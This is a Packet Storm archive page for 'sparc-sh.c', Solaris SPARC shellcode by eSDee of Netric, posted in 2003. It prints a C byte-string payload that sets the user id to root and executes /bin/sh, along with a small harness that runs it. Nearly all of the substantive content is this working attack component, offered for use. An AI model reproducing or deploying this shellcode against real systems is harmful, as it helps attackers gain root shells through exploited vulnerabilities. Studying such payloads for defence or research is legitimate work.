exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

sparc-sh.c

sparc-sh.c
Posted Apr 2, 2003
Authored by eSDee, netric | Site netric.org

Solaris Sparc shellcode that sets the effective uid to 0 and executes a shell.

tags | shell, shellcode
systems | solaris
SHA-256 | b4f74f95b8bd45fe94c359024720079f6ee3e0151ca7a8a1f62db7483e21af68

sparc-sh.c

Change Mirror Download
/* Solaris sparc shellcode by eSDee of Netric (www.netric.org)
* setreuid(0,0); execve("/bin//sh", &argv[0], NULL); exit();
*/

#include <stdio.h>

char
shellcode[]=

// setreuid(0,0);

"\x90\x1d\x80\x16" // xor %l6, %l6, %o0
"\x92\x1d\x80\x16" // xor %l6, %l6, %o1
"\x82\x10\x20\xca" // mov 0xca, %g1
"\x91\xd0\x20\x08" // ta 8

// execve("/bin//sh", &argv[0], NULL);

"\x21\x0b\xd8\x9a" // sethi %hi(0x2f626800), %l0
"\xa0\x14\x21\x6e" // or %l0, 0x16e, %l0 ! 0x2f62696e
"\x23\x0b\xcb\xdc" // sethi %hi(0x2f2f7000), %l1
"\xa2\x14\x63\x68" // or %l1, 0x368, %l1 ! 0x2f2f7368
"\xe0\x3b\xbf\xf0" // std %l0, [ %sp + -16 ]
"\xc0\x23\xbf\xf8" // clr [ %sp + -8 ]
"\x90\x23\xa0\x10" // sub %sp, 0x10, %o0
"\xc0\x23\xbf\xec" // clr [ %sp + -20 ]
"\xd0\x23\xbf\xe8" // st %o0, [ %sp + -24 ]
"\x92\x23\xa0\x18" // sub %sp, 0x18, %o1
"\x94\x22\x80\x0a" // sub %o2, %o2, %o2
"\x82\x10\x20\x3b" // mov 0x3b, %g1
"\x91\xd0\x20\x08" // ta 8

// exit()

"\x82\x10\x20\x01" // mov 1, %g1
"\x91\xd0\x20\x08"; // ta 8


int
main()
{
void (*funct) ();
(long) funct = &shellcode;
funct();
}
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close